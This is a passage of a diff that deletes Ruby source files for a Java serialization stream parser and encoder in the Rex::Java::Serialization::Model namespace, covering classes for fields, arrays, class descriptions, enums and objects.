str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NewClassDesc
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when ProxyClassDesc
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NullReference
|
||||
str << "#{print_class(content)}"
|
||||
when Reset
|
||||
str << "#{print_class(content)}"
|
||||
when Reference
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
else
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation of the content class
|
||||
#
|
||||
# @param content [Rex::Java::Serialization::Model::Element] the content
|
||||
# @return [String]
|
||||
def print_class(content)
|
||||
content.class.name.split('::').last
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,44 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
class Element
|
||||
|
||||
attr_accessor :stream
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Element
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
|
||||
# @return [nil] if deserialization doesn't succeed
|
||||
def self.decode(io, stream = nil)
|
||||
elem = self.new(stream)
|
||||
elem.decode(io)
|
||||
end
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
self.stream = stream
|
||||
end
|
||||
|
||||
def decode(io)
|
||||
self
|
||||
end
|
||||
|
||||
def encode
|
||||
''
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
self.class.name.split('::').last
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,12 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
class EndBlockData < Element
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,173 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a field description representation (fieldDesc). It's used for
|
||||
# both primitive descriptions (primitiveDesc) and object descriptions (objectDesc).
|
||||
class Field < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute type
|
||||
# @return [String] The type of the field.
|
||||
attr_accessor :type
|
||||
# @!attribute name
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
|
||||
attr_accessor :name
|
||||
# @!attribute field_type
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
|
||||
attr_accessor :field_type
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.type = ''
|
||||
self.name = nil
|
||||
self.field_type = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Field
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
code = io.read(1)
|
||||
|
||||
unless code && is_valid?(code)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
|
||||
end
|
||||
|
||||
self.type = TYPE_CODES[code]
|
||||
self.name = Utf.decode(io, stream)
|
||||
|
||||
if is_object?
|
||||
self.field_type = decode_field_type(io)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::Field
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
unless is_type_valid?
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << TYPE_CODES.key(type)
|
||||
encoded << name.encode
|
||||
|
||||
if is_object?
|
||||
encoded << encode_field_type
|
||||
end
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Whether the field type is valid.
|
||||
#
|
||||
# @return [Boolean]
|
||||
def is_type_valid?
|
||||
if TYPE_CODES.values.include?(type)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Whether the field type is a primitive one.
|
||||
#
|
||||
# @return [Boolean]
|
||||
def is_primitive?
|
||||
if PRIMITIVE_TYPE_CODES.values.include?(type)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Whether the field type is an object one.
|
||||
#
|
||||
# @return [Boolean]
|
||||
def is_object?
|
||||
if OBJECT_TYPE_CODES.values.include?(type)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = "#{name} "
|
||||
if is_primitive?
|
||||
str << "(#{type})"
|
||||
else
|
||||
str << "(#{field_type})"
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Whether the type opcode is a valid one.
|
||||
#
|
||||
# @param code [String] A type opcode
|
||||
# @return [Boolean]
|
||||
def is_valid?(code)
|
||||
if TYPE_CODES.keys.include?(code)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Serializes the `field_type` attribute.
|
||||
#
|
||||
# @return [String]
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_field_type
|
||||
allowed_contents = [Utf, Reference]
|
||||
|
||||
unless allowed_contents.include?(field_type.class)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
encoded = encode_content(field_type)
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Deserializes the `field_type` value.
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Java::Serialization::Model::Utf]
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
|
||||
def decode_field_type(io)
|
||||
allowed_contents = [Utf, Reference]
|
||||
type = decode_content(io, stream)
|
||||
|
||||
unless allowed_contents.include?(type.class)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
|
||||
end
|
||||
|
||||
type
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,48 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a Long Utf string representation
|
||||
class LongUtf < Utf
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::LongUtf
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(8)
|
||||
if raw_length.nil? || raw_length.length != 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
||||
end
|
||||
self.length = raw_length.unpack('Q>')[0]
|
||||
|
||||
if length == 0
|
||||
self.contents = ''
|
||||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::LongUtf
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
encoded = [length].pack('Q>')
|
||||
encoded << contents
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,229 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a NewArray (Java Array) representation
|
||||
class NewArray < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute array_description
|
||||
# @return [Java::Serialization::Model::ClassDesc] The description of the array
|
||||
attr_accessor :array_description
|
||||
# @!attribute type
|
||||
# @return [String] The type of the array values
|
||||
attr_accessor :type
|
||||
# @!attribute values
|
||||
# @return [Array] The contents of the java array
|
||||
attr_accessor :values
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.array_description = nil
|
||||
self.type = ''
|
||||
self.values = []
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.array_description = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
self.type = array_type
|
||||
|
||||
values_length = decode_values_length(io)
|
||||
|
||||
values_length.times do
|
||||
value = decode_value(io)
|
||||
self.values << value
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless array_description.kind_of?(ClassDesc)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << array_description.encode
|
||||
|
||||
encoded << [values.length].pack('N')
|
||||
|
||||
values.each do |value|
|
||||
encoded << encode_value(value)
|
||||
end
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = "#{type}, "
|
||||
values_data = values.collect {|v| "#{v}"}
|
||||
str << "#{values_data}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the NewArray length
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_values_length(io)
|
||||
values_length = io.read(4)
|
||||
if values_length.nil? || values_length.length != 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
|
||||
end
|
||||
|
||||
values_length.unpack('N')[0]
|
||||
end
|
||||
|
||||
# Extracts the NewArray data type
|
||||
#
|
||||
# @return [String]
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
|
||||
# or type isn't supported
|
||||
def array_type
|
||||
if array_description.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
|
||||
end
|
||||
|
||||
unless array_description.kind_of?(ClassDesc)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
|
||||
end
|
||||
|
||||
desc = array_description.description
|
||||
|
||||
if desc.class == Reference
|
||||
ref = desc.handle - BASE_WIRE_HANDLE
|
||||
desc = stream.references[ref]
|
||||
end
|
||||
|
||||
unless desc.class_name.contents[0] == '[' # Array
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
|
||||
end
|
||||
|
||||
decoded_type = desc.class_name.contents[1]
|
||||
if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type)
|
||||
return PRIMITIVE_TYPE_CODES[decoded_type]
|
||||
elsif decoded_type == 'L' # L : Object
|
||||
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
|
||||
else
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
|
||||
end
|
||||
end
|
||||
|
||||
# Deserializes a NewArray value
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum, Float] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
||||
def decode_value(io)
|
||||
value = nil
|
||||
|
||||
case type
|
||||
when 'byte'
|
||||
value = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
value = value.unpack('c')[0]
|
||||
when 'char'
|
||||
value = io.read(2)
|
||||
unless value && value.length == 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('s>')[0]
|
||||
when 'double'
|
||||
value = io.read(8)
|
||||
unless value && value.length == 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('G')[0]
|
||||
when 'float'
|
||||
value = io.read(4)
|
||||
unless value && value.length == 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('g')[0]
|
||||
when 'int'
|
||||
value = io.read(4)
|
||||
unless value && value.length == 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('l>')[0]
|
||||
when 'long'
|
||||
value = io.read(8)
|
||||
unless value && value.length == 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('q>')[0]
|
||||
when 'short'
|
||||
value = io.read(2)
|
||||
unless value && value.length == 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('s>')[0]
|
||||
when 'boolean'
|
||||
value = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
value = value.unpack('c')[0]
|
||||
else # object
|
||||
value = decode_content(io, stream)
|
||||
end
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
# Serializes an NewArray value
|
||||
#
|
||||
# @param value [<Fixnum, Float>] the value to serialize
|
||||
# @return [String] the serialized value
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_value(value)
|
||||
res = ''
|
||||
|
||||
case type
|
||||
when 'byte'
|
||||
res = [value].pack('c')
|
||||
when 'char'
|
||||
res = [value].pack('s>')
|
||||
when 'double'
|
||||
res = [value].pack('G')
|
||||
when 'float'
|
||||
res = [value].pack('g')
|
||||
when 'int'
|
||||
res = [value].pack('l>')
|
||||
when 'long'
|
||||
res = [value].pack('q>')
|
||||
when 'short'
|
||||
res = [value].pack('s>')
|
||||
when 'boolean'
|
||||
res = [value].pack('c')
|
||||
when Element
|
||||
res = value.encode
|
||||
else # object
|
||||
res = encode_content(value)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,57 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a NewArray (Java Array) representation
|
||||
class NewClass < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute array_description
|
||||
# @return [Java::Serialization::Model::ClassDesc] The description of the class
|
||||
attr_accessor :class_description
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.class_description = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewClass
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.class_description = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::NewClass
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_description.kind_of?(ClassDesc)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << class_description.encode
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
print_content(class_description)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,154 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a newClassDesc representation
|
||||
class NewClassDesc < Element
|
||||
|
||||
include Rex::Java::Serialization
|
||||
|
||||
# @!attribute class_name
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
|
||||
attr_accessor :class_name
|
||||
# @!attribute serial_version
|
||||
# @return [Fixnum] The java class serial version
|
||||
attr_accessor :serial_version
|
||||
# @!attribute flags
|
||||
# @return [Fixnum] The java class flags
|
||||
attr_accessor :flags
|
||||
# @!attribute fields
|
||||
# @return [Array] The java class fields
|
||||
attr_accessor :fields
|
||||
# @!attribute class_annotation
|
||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
||||
attr_accessor :class_annotation
|
||||
# @!attribute super_class
|
||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
|
||||
attr_accessor :super_class
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.class_name = nil
|
||||
self.serial_version = 0
|
||||
self.flags = 0
|
||||
self.fields = []
|
||||
self.class_annotation = nil
|
||||
self.super_class = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.class_name = Utf.decode(io, stream)
|
||||
self.serial_version = decode_serial_version(io)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
self.flags = decode_flags(io)
|
||||
fields_length = decode_fields_length(io)
|
||||
fields_length.times do
|
||||
field = Field.decode(io, stream)
|
||||
self.fields << field
|
||||
end
|
||||
|
||||
self.class_annotation = Annotation.decode(io, stream)
|
||||
self.super_class = ClassDesc.decode(io, stream)
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::ClassDescription
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
|
||||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
encoded << class_name.encode
|
||||
encoded << [serial_version].pack('q>')
|
||||
encoded << [flags].pack('C')
|
||||
encoded << [fields.length].pack('n')
|
||||
fields.each do |field|
|
||||
encoded << field.encode
|
||||
end
|
||||
encoded << class_annotation.encode
|
||||
encoded << super_class.encode
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = "#{class_name}, [ "
|
||||
fields_str = []
|
||||
fields.each do |field|
|
||||
fields_str << field.to_s
|
||||
end
|
||||
str << "#{fields_str.join(', ')} ]"
|
||||
|
||||
case super_class.description
|
||||
when NewClassDesc
|
||||
str << ", @super_class: #{super_class.description.class_name.to_s}"
|
||||
when Reference
|
||||
str << ", @super_class: #{super_class.description.to_s}"
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes a class serial version
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_serial_version(io)
|
||||
raw_serial = io.read(8)
|
||||
if raw_serial.nil? || raw_serial.length != 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
||||
end
|
||||
|
||||
raw_serial.unpack('Q>')[0]
|
||||
end
|
||||
|
||||
# Deserializes a class flags
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization is possible
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_flags(io)
|
||||
raw_flags = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
|
||||
|
||||
raw_flags.unpack('C')[0]
|
||||
end
|
||||
|
||||
# Deserializes a class fields length
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization is possible
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_fields_length(io)
|
||||
fields_length = io.read(2)
|
||||
if fields_length.nil? || fields_length.length != 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
||||
end
|
||||
|
||||
fields_length.unpack('n')[0]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,79 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a NewEnum (Java Enum) representation
|
||||
class NewEnum < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute enum_description
|
||||
# @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum
|
||||
attr_accessor :enum_description
|
||||
# @!attribute constant_name
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum
|
||||
attr_accessor :constant_name
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.enum_description = nil
|
||||
self.constant_name = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewEnum
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.enum_description = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
self.constant_name = decode_constant_name(io)
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::NewEnum
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless enum_description.kind_of?(ClassDesc) &&
|
||||
constant_name.kind_of?(Utf)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << enum_description.encode
|
||||
encoded << encode_content(constant_name)
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
constant_name.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the NewEnum constant name
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
|
||||
def decode_constant_name(io)
|
||||
content = decode_content(io, stream)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
|
||||
|
||||
content
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,235 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a NewObject (Java Object) representation
|
||||
class NewObject < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute class_desc
|
||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object
|
||||
attr_accessor :class_desc
|
||||
# @!attribute class_data
|
||||
# @return [Array] The data of the object
|
||||
attr_accessor :class_data
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.class_desc = nil
|
||||
self.class_data = []
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.class_desc = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
||||
case class_desc.description
|
||||
when NewClassDesc
|
||||
self.class_data = decode_class_data(io, class_desc.description)
|
||||
when Reference
|
||||
ref = class_desc.description.handle - BASE_WIRE_HANDLE
|
||||
self.class_data = decode_class_data(io, stream.references[ref])
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_desc.kind_of?(ClassDesc)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << class_desc.encode
|
||||
|
||||
class_data.each do |value|
|
||||
if value.kind_of?(Array)
|
||||
encoded << encode_value(value)
|
||||
else
|
||||
encoded << encode_content(value)
|
||||
end
|
||||
end
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = ''
|
||||
|
||||
case class_desc.description
|
||||
when NewClassDesc
|
||||
str << class_desc.description.class_name.to_s
|
||||
when ProxyClassDesc
|
||||
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
|
||||
when Reference
|
||||
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
|
||||
end
|
||||
|
||||
str << ' => { '
|
||||
data_str = class_data.collect { |data| data.to_s }
|
||||
str << data_str.join(', ')
|
||||
str << ' }'
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the class_data for a class_desc and its super classes
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
||||
# @return [Array] class_data values if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_class_data(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
unless my_class_desc.super_class.description.class == NullReference
|
||||
if my_class_desc.super_class.description.class == Reference
|
||||
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
|
||||
values += decode_class_data(io, stream.references[ref])
|
||||
else
|
||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
||||
end
|
||||
end
|
||||
|
||||
values += decode_class_fields(io, my_class_desc)
|
||||
|
||||
values
|
||||
end
|
||||
|
||||
# Deserializes the fields data for a class_desc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
||||
# @return [Array] class_data values if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_class_fields(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
my_class_desc.fields.each do |field|
|
||||
if field.is_primitive?
|
||||
values << decode_value(io, field.type)
|
||||
else
|
||||
content = decode_content(io, stream)
|
||||
values << content
|
||||
end
|
||||
end
|
||||
|
||||
values
|
||||
end
|
||||
|
||||
# Deserializes a class_data value
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @param type [String] the type of the value to deserialize
|
||||
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
||||
def decode_value(io, type)
|
||||
value = []
|
||||
|
||||
case type
|
||||
when 'byte'
|
||||
value_raw = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
value.push('byte', value_raw.unpack('c')[0])
|
||||
when 'char'
|
||||
value_raw = io.read(2)
|
||||
unless value_raw && value_raw.length == 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('char', value_raw.unpack('s>')[0])
|
